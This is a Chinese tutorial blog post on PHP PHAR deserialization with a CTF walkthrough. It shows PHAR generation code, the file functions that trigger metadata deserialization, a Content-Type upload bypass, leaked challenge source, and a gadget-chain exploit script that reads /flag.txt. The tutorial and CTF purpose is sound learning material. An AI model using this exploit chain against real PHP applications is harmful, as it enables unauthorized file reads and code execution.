PHP开发技巧之PHAR反序列化详解

目录
  • 引文
  • 前置知识
    • PHAR
    • PHAR文件结构
    • PHAR文件生成样例
  • 实战
  • 结语

引文

之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识。

前置知识

PHAR

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点。

接下来带大家看一下如何构造phar文件:

PHAR状态是只读的,创建一个的Phar文件需要允许写入Phar文件,这需要修改一下:

php.ini:phar.readonly = Off;  #php版本要大于等于5.2

其中php.ini为php的配置文件。

PHAR文件结构

上面简单介绍了phar的基本定义,接下来我们学习一下PHAR文件的基本结构:

A stub

phar文件的标志,具体代码为:

xxx<?php xxx; __HALT_COMPILER();?>

注意的是phar文件始终要以__HALT_COMPILER();?>来进行结尾才能被识别为PHAR文件。

A manifest describing the contents

以序列化的形式存储用户自定义的meta-data,也是我们利用反序列化漏洞的点。

The file contents

压缩的文件内容。

signature

签名信息,放在文件末尾。

PHAR文件生成样例

了解了以上信息,我们就可以尝试来构建一个PHAR文件的生成,样例代码如下:

<?php
	class User{
        var $name;
	}
	@unlink("XINO.phar");
    $phar = new Phar("XINO.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $o = new User();
    $o->name = "XINO";
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

运行之后结果如下:

成功生成了名为XINO.phar的phar类型文件,我们放进010editor查看:

看到 meta-data 序列化的内容成功的保存到了文件中。我们再用phar协议去读取就好了。这里需要注意的一点是:一些文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化,例如:

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents
file         filegroup        fopen        fileinode      fileowner            fileperms
is_dir       is_file          is_link      is_executable  is_readable          is_writeable
is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file

实战

学完上面的内容后,我们便可以尝试一下实战了,先看看利用条件:

phar文件要能够上传到服务器端

要有可用的魔术方法作为"跳板"

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

下面我们来看一个例题:

进去是一个登陆界面,我们注册登陆进去,发现了一个文件上传的点。要求得文件类型只能是gif/jpg/png的类型,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。抓包后会发现POST传参download处存在任意文件下载:

下载源码:index.php,delete.php,download.php,class.php

class.php:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
    public $db;
    public function __construct() {
        global $db;
        $this->db = $db;
    }
    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;
    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);
        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);
        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }
    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" rel="external nofollow"  rel="external nofollow"  class="download">下载</a> / <a href="#" rel="external nofollow"  rel="external nofollow"  class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;
    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
    public function detele() {
        unlink($this->filename);
    }
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

delete.php

<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
if (!isset($_POST['filename'])) {
    die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

简单分析一下:

创建一个user的对象,而且db变量是一个FileList对象,文件名为flag的路径。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法(不理解的可以去看之前的文章),于是执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来($this->filename=flag文件 )。

于是我们尝试写一个生成PHAR文件的脚本:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("XINO.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>

生成文件后将PHAR文件改文件类型然后上传,之后用PHAR协议去读取就可以得到flag。

结语

今天比较详细的讲了PHAR反序列化漏洞的原理以及应用方法,可能刚开始学不太好理解,可以根据之前PHP反序列化的思路去理解一下。有兴趣的小伙伴可以自己去搭建靶机来进行测试,喜欢的小伙伴不妨一键三连。

以上就是PHP开发技巧之PHAR反序列化详解的详细内容,更多关于PHP开发PHAR反序列化的资料请关注我们其它相关文章!

(0)

相关推荐

  • 攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

    在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查. 在本文中,我们来看看第二点是如何做到的. 背景知识 在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片). 在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链.其中

  • 解决PHP 7编译安装错误:cannot stat ‘phar.phar’: No such file or directory

    前言 最近因为工作需要要使用PHP 7,所以从网上找教程进行安装, 结果编译没问题, 安装的时候报了错误. 错误如下 cp -pR -f phar.phar /usr/local/php7/bin/phar cp: cannot stat 'phar.phar': No such file or directory make: *** [install-pharcmd] Error 1 解决方法很简单: find . -name 'phar.phar' 找到 phar.phar 文件, 移动或者

  • PHP开发之归档格式phar文件概念与用法详解【创建,使用,解包还原提取】

    本文实例讲述了PHP开发之归档格式phar文件概念与用法.分享给大家供大家参考,具体如下: 一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序.一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自java的jar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar 归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用ph

  • php 中phar包的使用教程详解

    修改配置文件: vim /usr/local/php/etc/php.ini [Phar] phar.readonly = Off 压缩: a. 创建压缩脚本: vim compress.php <?php $exts = array( '*', ); $dir = __DIR__; $file = 'test.phar'; $phar = new Phar(__DIR__ . '/' . $file, FilesystemIterator::CURRENT_AS_FILEINFO | File

  • PHP中phar包的使用教程

    前言 PHP5.3之后支持了类似Java的jar包,名为phar.用来将多个PHP文件打包为一个文件. 首先需要修改php.ini配置将phar的readonly关闭,默认是不能写phar包的,include是默认开启的. phar.readonly => On 创建一个phar压缩包 <?php $phar = new Phar('swoole.phar'); $phar->buildFromDirectory(__DIR__.'/../', '/\.php$/'); $phar-&g

  • PHP开发技巧之PHAR反序列化详解

    目录 引文 前置知识 PHAR PHAR文件结构 PHAR文件生成样例 实战 结语 引文 之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识. 前置知识 PHAR 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分

  • vue下拉刷新组件的开发及slot的使用详解

    "下拉刷新"和"上滑加载更多"功能在前端.尤其是移动端项目中非常重要,这里笔者由曾经做过的vue项目中的"blink"功能和各位探讨下[下拉刷新]组件的开发: 正式开篇 在前端项目的 components 文件夹下新建 pullRefreshView 文件夹,在其中新建组件 index.vue:(它代表"整个屏幕",通过slot插入页面其他内容而不是传统的设置遮罩层触发下拉刷新) 首先需要编写下拉刷新组件的 template,

  • Python开发装包八种方法详解

    目录 1. 使用 easy_install 2. 使用 pip install 3. 使用 pipx 4. 使用 setup.py 5. 使用 yum 6. 使用 pipenv 7. 使用 poetry 8. 使用 curl + 管道 1. 使用 easy_install easy_install 这应该是最古老的包安装方式了,目前基本没有人使用了.下面是 easy_install 的一些安装示例 # 通过包名,从PyPI寻找最新版本,自动下载.编译.安装 $ easy_install pkg_

  • Android 实例开发一个学生管理系统流程详解

    目录 效果演示 实现功能总览 代码 登录与忘记密码界面 一.添加布局文件 二.添加标题文字 三.绑定适配器 注册界面 一.创建两个Drawable文件 二.将其添加数组内 三.动态变化背景 考勤界面 一.CircleProgressBar代码如下 签到界面 一.倒计时 二.位置签到 成绩查询界面 一.创建StackAdapter 适配器 效果演示 随手做的一个小玩意,还有很多功能没有完善,倘有疏漏,万望海涵. 实现功能总览 实现了登录.注册.忘记密码.成绩查询.考勤情况.课表查看.提交作业.课程

  • vue开发table数据合并实现详解

    目录 前言 思路梳理 方案一 Element 官方 Table 组件数据合并 注意 方案二 Table-column Scoped Slot 注意 前言 项目中的某个模块,一个勾选表格数据,里面的行数据由于有关联关系,需要多行数据合并,然后勾选时选中一条数据,方便进行下一步业务操作,然后产品经理就指着原型上的表格,说:这里,这里, 数据需要合并...... 功能需求有了,里面有个技术实现点 —— 表格数据合并,下面我们就来分析一下这个表格数据合并的实现 思路梳理 方案一 Element 官方 T

  • node故障定位顶级技巧动态追踪Dynamic Trace详解

    目录 背景和行文目的 动态追踪技术 是什么 优势 原理 用法 demo 演示 实战演示 搭建 easy-monitor 环境 启动一个 egg 应用 制造问题 Dynamic trace 精准定位 实战总结 分享代码 动态追踪技术的未来 传统工具 潜力工具 未来 + 顶尖 总结 背景和行文目的 在做 node 或者其他语言的软件开发时,是否有以下经历: 测试环境一切正常,发到生产环境后,出现诡异问题且难以定位 不同机器.不同容器上,某些逻辑呈现不同的结果,如时区. host 对于时好时坏的玄学问

  • 微信小程序开发图片拖拽实例详解

    微信小程序开发图片拖拽实例详解 1.编写页面结构:moveimg.wxml <view class="container"> <view class="cnt"> <image class="image-style" src="../uploads/foods.jpg" style="left:{{ballleft}}px;width:{{screenWidth}}px" bi

  • 使用JavaScript开发跨平台的桌面应用详解

    任何可以使用JavaScript来编写的应用,最终会由JavaScript编写.--Atwood定律 Atwood's Law是Jeff Atwood在2007年提出的:"any application that can be written in JavaScript, will eventually be written in JavaScript.".据说,这只是当时开的一个玩笑.不过,这个玩笑似乎渐渐变成了现实.从各种华丽的网页框架,到功能强大的库,到了现在的机器学习,服务器开

  • java开发中嵌套类的详解及实例

     java开发中嵌套类的详解 在java语言规范里面,嵌套类(Nested Classes)定义是: A nested class is any class whose declaration occurs within the body of another class or interface. A top level class is a class that is not a nested class. 说的简单一点,就是定义在类里面的类.一般把定义内部类的外围类成为包装类(enclos

  • Android 开发订单流程view实例详解

     Android 开发订单流程view实例详解 先看看最终效果图: 怎么样,效果还是很不错的吧?群里有人说切四张图的.recycleview的.各种的都有啊,但是最简单的就是通过自定义view来实现了-接下来让我们来实现下这个(订单流程view). 首先我们定义好我们的自定义属性: attrs.xml <?xml version="1.0" encoding="utf-8"?> <resources> <declare-styleabl

随机推荐